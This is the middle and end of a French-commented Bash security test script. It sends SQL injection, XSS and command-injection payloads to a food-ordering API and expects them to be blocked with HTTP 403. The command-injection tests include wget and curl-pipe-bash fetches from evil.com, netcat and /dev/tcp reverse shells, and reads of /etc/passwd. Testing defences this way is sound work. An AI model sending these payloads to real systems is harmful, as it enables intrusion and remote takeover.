((FAILED_TESTS++))
((TOTAL_TESTS++))
echo -e "${RED}✗ FAIL${NC} - $1" | tee -a "$LOG_FILE"
}
print_info() {
echo -e "${CYAN} INFO${NC} - $1"
}
print_warning() {
echo -e "${YELLOW}⚠ WARNING${NC} - $1"
}
print_response() {
echo -e "${PURPLE}📄 Response:${NC} $1"
}
# Fonction pour effectuer une requête HTTP avec token client
http_test_client() {
local method=$1
local endpoint=$2
local data=$3
local expected_code=$4
local description=$5
local extra_headers=$6
print_test "$description"
if [ -z "$data" ]; then
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $CLIENT_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
"${API_BASE_URL}${endpoint}" 2>&1)
else
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $CLIENT_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
-d "$data" \
"${API_BASE_URL}${endpoint}" 2>&1)
fi
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq "$expected_code" ]; then
print_success "$description (HTTP $http_code)"
else
print_fail "$description - Expected: $expected_code, Got: $http_code"
print_response "$body"
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
echo "Response: $body" >> "$LOG_FILE"
fi
sleep 0.5
}
# Fonction pour effectuer une requête HTTP avec token admin
http_test_admin() {
local method=$1
local endpoint=$2
local data=$3
local expected_code=$4
local description=$5
local extra_headers=$6
print_test "$description"
if [ -z "$data" ]; then
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
"${API_BASE_URL}${endpoint}" 2>&1)
else
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
-d "$data" \
"${API_BASE_URL}${endpoint}" 2>&1)
fi
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq "$expected_code" ]; then
print_success "$description (HTTP $http_code)"
echo "$body"
else
print_fail "$description - Expected: $expected_code, Got: $http_code"
print_response "$body"
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
echo "Response: $body" >> "$LOG_FILE"
fi
sleep 0.5
}
# Fonction pour effectuer une requête HTTP sans authentification
http_test_no_auth() {
local method=$1
local endpoint=$2
local data=$3
local expected_code=$4
local description=$5
print_test "$description"
if [ -z "$data" ]; then
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Content-Type: application/json" \
"${API_BASE_URL}${endpoint}" 2>&1)
else
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Content-Type: application/json" \
-d "$data" \
"${API_BASE_URL}${endpoint}" 2>&1)
fi
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq "$expected_code" ]; then
print_success "$description (HTTP $http_code)"
else
print_fail "$description - Expected: $expected_code, Got: $http_code"
print_response "$body"
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
echo "Response: $body" >> "$LOG_FILE"
fi
sleep 0.5
}
# =============================================================================
# Authentification
# =============================================================================
authenticate() {
print_header "AUTHENTIFICATION"
# ==================== CLIENT LOGIN ====================
print_section "1. Login Client"
response=$(curl -s -w "\n%{http_code}" -X POST \
-H "Content-Type: application/json" \
-d "{\"username\":\"$CLIENT_USERNAME\",\"password\":\"$CLIENT_PASSWORD\"}" \
"${API_BASE_URL}/api/v1/auth/login")
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq 200 ]; then
CLIENT_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
if [ -n "$CLIENT_TOKEN" ]; then
print_success "Login Client réussi - Token obtenu"
print_info "Token Client: ${CLIENT_TOKEN:0:50}..."
else
print_fail "Login Client réussi mais token non trouvé"
print_response "$body"
exit 1
fi
else
print_fail "Échec du login Client (HTTP $http_code)"
print_response "$body"
exit 1
fi
# ==================== ADMIN LOGIN ====================
print_section "2. Login Admin"
response=$(curl -s -w "\n%{http_code}" -X POST \
-H "Content-Type: application/json" \
-d "{\"username\":\"$ADMIN_USERNAME\",\"password\":\"$ADMIN_PASSWORD\"}" \
"${API_BASE_URL}/api/v2/admin/auth/login")
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq 200 ]; then
ADMIN_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
if [ -n "$ADMIN_TOKEN" ]; then
print_success "Login Admin réussi - Token obtenu"
print_info "Token Admin: ${ADMIN_TOKEN:0:50}..."
else
print_fail "Login Admin réussi mais token non trouvé"
print_response "$body"
exit 1
fi
else
print_fail "Échec du login Admin (HTTP $http_code)"
print_response "$body"
exit 1
fi
}
# =============================================================================
# Tests SQL Injection
# =============================================================================
test_sql_injection() {
print_header "TESTS SQL INJECTION"
print_section "1. SQL Injection - Login"
# Test 1: SQL Injection classique dans login client
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
403 "SQLi - Login Client OR 1=1"
# Test 2: SQL Injection dans login admin
http_test_no_auth "POST" "/api/v2/admin/auth/login" \
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
403 "SQLi - Login Admin OR 1=1"
# Test 3: SQL Injection avec UNION
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' UNION SELECT * FROM users--","password":"test"}' \
403 "SQLi - UNION SELECT"
# Test 4: SQL Injection avec DROP TABLE
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\''; DROP TABLE users;--","password":"test"}' \
403 "SQLi - DROP TABLE"
# Test 5: SQL Injection avec commentaire
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\''--","password":"test"}' \
403 "SQLi - Commentaire SQL --"
print_section "2. SQL Injection - Panier"
# Test 6: SQL Injection dans name_product
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"Pizza'\'' OR 1=1--","category":"pizza","quantity":1}' \
403 "SQLi - Panier name_product"
# Test 7: SQL Injection dans category
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"Pizza","category":"pizza'\'' OR '\''1'\''='\''1","quantity":1}' \
403 "SQLi - Panier category"
print_section "3. SQL Injection - Admin"
# Test 8: SQL Injection dans username pénalité
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
"{\"username\":\"admin' OR '1'='1\",\"amount\":50.0,\"reason\":\"Test\"}" \
403 "SQLi - Username pénalité"
# Test 9: SQL Injection dans paramètres commandes
http_test_admin "GET" "/api/v2/admin/protected/orders?status=pending' OR '1'='1" \
"" \
403 "SQLi - Paramètres commandes"
# Test 10: SQL Injection dans ID commande
http_test_admin "POST" "/api/v2/admin/protected/orders/1' OR '1'='1/auto-assign" \
"" \
403 "SQLi - ID commande"
# Test 11: SQL Injection dans username livreur
http_test_admin "GET" "/api/v2/admin/protected/delivery-persons/john' OR '1'='1/location" \
"" \
403 "SQLi - Username livreur"
print_section "4. SQL Injection - Commandes Client"
# Test 12: SQL Injection dans adresse checkout
http_test_client "POST" "/api/v1/checkout" \
'{"delivery_address":"1'\'' OR '\''1'\''='\''1"}' \
403 "SQLi - Adresse checkout"
# Test 13: SQL Injection nom produit admin
http_test_admin "POST" "/api/v2/admin/protected/products" \
'{"nom":"Pizza'\'' OR '\''1'\''='\''1","category":"pizza","stock":10,"prix":12.99}' \
403 "SQLi - Nom produit admin"
print_section "5. SQL Injection - Variantes avancées"
# Test 14: SQL Injection avec AND
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND '\''1'\''='\''1","password":"test"}' \
403 "SQLi - AND condition"
# Test 15: SQL Injection avec encodage hex
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' OR 0x31=0x31--","password":"test"}' \
403 "SQLi - Encodage hex"
# Test 16: SQL Injection avec SLEEP (Time-based)
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND SLEEP(5)--","password":"test"}' \
403 "SQLi - Time-based SLEEP"
# Test 17: SQL Injection avec BENCHMARK
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND BENCHMARK(10000000,SHA1('\''test'\''))--","password":"test"}' \
403 "SQLi - BENCHMARK"
# Test 18: SQL Injection avec sous-requête
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND (SELECT COUNT(*) FROM users)>0--","password":"test"}' \
403 "SQLi - Sous-requête"
}
# =============================================================================
# Tests XSS (Cross-Site Scripting)
# =============================================================================
test_xss() {
print_header "TESTS XSS (CROSS-SITE SCRIPTING)"
print_section "1. XSS - Login"
# Test 1: XSS basique avec script tag
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<script>alert(1)</script>","password":"test"}' \
403 "XSS - Script tag basique"
# Test 2: XSS avec event handler
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<img src=x onerror=alert(1)>","password":"test"}' \
403 "XSS - Event handler onerror"
# Test 3: XSS avec SVG
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<svg onload=alert(1)>","password":"test"}' \
403 "XSS - SVG onload"
print_section "2. XSS - Panier"
# Test 4: XSS dans name_product
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"<script>alert('\''XSS'\'')</script>","category":"pizza","quantity":1}' \
403 "XSS - Panier name_product"
# Test 5: XSS dans category
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"Pizza","category":"<script>alert(1)</script>","quantity":1}' \
403 "XSS - Panier category"
print_section "3. XSS - Admin"
# Test 6: XSS dans raison pénalité
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
"{\"username\":\"$CLIENT_USERNAME\",\"amount\":30.0,\"reason\":\"<script>alert('XSS')</script>\"}" \
400 "XSS - Raison pénalité"
# Test 7: XSS dans paramètres commandes
http_test_admin "GET" "/api/v2/admin/protected/orders?username=<script>alert(1)</script>" \
"" \
403 "XSS - Paramètres commandes"
# Test 8: XSS dans description produit
http_test_admin "POST" "/api/v2/admin/protected/products" \
'{"nom":"Pizza","category":"pizza","description":"<script>alert(1)</script>","stock":10,"prix":12.99}' \
403 "XSS - Description produit"
print_section "4. XSS - Commandes Client"
# Test 9: XSS dans adresse checkout
http_test_client "POST" "/api/v1/checkout" \
'{"delivery_address":"<script>alert(1)</script>"}' \
403 "XSS - Adresse checkout"
# Test 10: XSS dans commentaire approbation
http_test_client "POST" "/api/v1/commands/1/approve" \
'{"rating":5,"comment":"<script>alert(1)</script>"}' \
403 "XSS - Commentaire approbation"
# Test 11: XSS dans raison annulation
http_test_client "POST" "/api/v1/commands/1/cancel" \
'{"reason":"<script>alert(1)</script>"}' \
403 "XSS - Raison annulation"
print_section "5. XSS - Variantes avancées"
# Test 12: XSS avec iframe
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<iframe src=javascript:alert(1)>","password":"test"}' \
403 "XSS - iframe javascript"
# Test 13: XSS avec body onload
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<body onload=alert(1)>","password":"test"}' \
403 "XSS - body onload"
# Test 14: XSS avec input autofocus
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<input autofocus onfocus=alert(1)>","password":"test"}' \
403 "XSS - input autofocus"
# Test 15: XSS avec marquee
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<marquee onstart=alert(1)>","password":"test"}' \
403 "XSS - marquee onstart"
# Test 16: XSS avec details/summary
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<details open ontoggle=alert(1)>","password":"test"}' \
403 "XSS - details ontoggle"
# Test 17: XSS avec javascript: protocol
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<a href=javascript:alert(1)>click</a>","password":"test"}' \
403 "XSS - javascript protocol"
# Test 18: XSS avec data: URI
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<a href=data:text/html,<script>alert(1)</script>>click</a>","password":"test"}' \
403 "XSS - data URI"
# Test 19: XSS encodé HTML
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"&lt;script&gt;alert(1)&lt;/script&gt;","password":"test"}' \
403 "XSS - Encodage HTML entities"
# Test 20: XSS avec polyglotte
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"jaVasCript:/*-/*`/*\\`/*'\''/*\"/**/(/* */oNcLiCk=alert() )//","password":"test"}' \
403 "XSS - Polyglotte"
}
# =============================================================================
# Tests RCE (Remote Code Execution)
# =============================================================================
test_rce() {
print_header "TESTS RCE (REMOTE CODE EXECUTION)"
print_section "1. RCE - Command Injection basique"
# Test 1: Command substitution avec $()
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(whoami)","category":"pizza","quantity":1}' \
403 "RCE - Command substitution"
# Test 2: Command substitution avec backticks
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"`whoami`","category":"pizza","quantity":1}' \
403 "RCE - Command substitution backticks"
# Test 3: Pipe command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test|whoami","category":"pizza","quantity":1}' \
403 "RCE - Pipe command"
# Test 4: Semicolon command chaining
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test;whoami","category":"pizza","quantity":1}' \
403 "RCE - Semicolon chaining"
# Test 5: AND command chaining
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test&&whoami","category":"pizza","quantity":1}' \
403 "RCE - AND chaining"
# Test 6: OR command chaining
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test||whoami","category":"pizza","quantity":1}' \
403 "RCE - OR chaining"
print_section "2. RCE - Commandes système dangereuses"
# Test 7: cat /etc/passwd
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(cat /etc/passwd)","category":"pizza","quantity":1}' \
403 "RCE - cat /etc/passwd"
# Test 8: ls command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(ls -la)","category":"pizza","quantity":1}' \
403 "RCE - ls command"
# Test 9: wget command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(wget http://evil.com/shell.sh)","category":"pizza","quantity":1}' \
403 "RCE - wget download"
# Test 10: curl command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(curl http://evil.com/shell.sh|bash)","category":"pizza","quantity":1}' \
403 "RCE - curl pipe bash"
# Test 11: nc (netcat) reverse shell
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(nc -e /bin/sh evil.com 4444)","category":"pizza","quantity":1}' \
403 "RCE - netcat reverse shell"
# Test 12: bash reverse shell
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(bash -i >& /dev/tcp/evil.com/4444 0>&1)","category":"pizza","quantity":1}' \
403 "RCE - bash reverse shell"
print_section "3. RCE - Dans autres endpoints"
# Test 13: RCE dans adresse checkout
http_test_client "POST" "/api/v1/checkout" \
'{"delivery_address":"$(whoami)"}' \
403 "RCE - Adresse checkout"
# Test 14: RCE dans login
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"$(id)","password":"test"}' \
403 "RCE - Login username"
# Test 15: RCE dans commentaire
http_test_client "POST" "/api/v1/commands/1/approve" \
'{"rating":5,"comment":"$(uname -a)"}' \
403 "RCE - Commentaire approbation"
# Test 16: RCE dans raison annulation
http_test_client "POST" "/api/v1/commands/1/cancel" \
'{"reason":"$(pwd)"}' \
403 "RCE - Raison annulation"
print_section "4. RCE - Python/Perl/Ruby injection"
# Test 17: Python code execution
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"__import__(\"os\").system(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - Python import os"
# Test 18: eval() injection
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"eval(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - eval injection"
# Test 19: exec() injection
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"exec(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - exec injection"
# Test 20: system() call
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"system(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - system call"
}
main() {
# Exécution des tests
authenticate
test_rce
test_xss
test_sql_injection
http_test_no_auth
}
main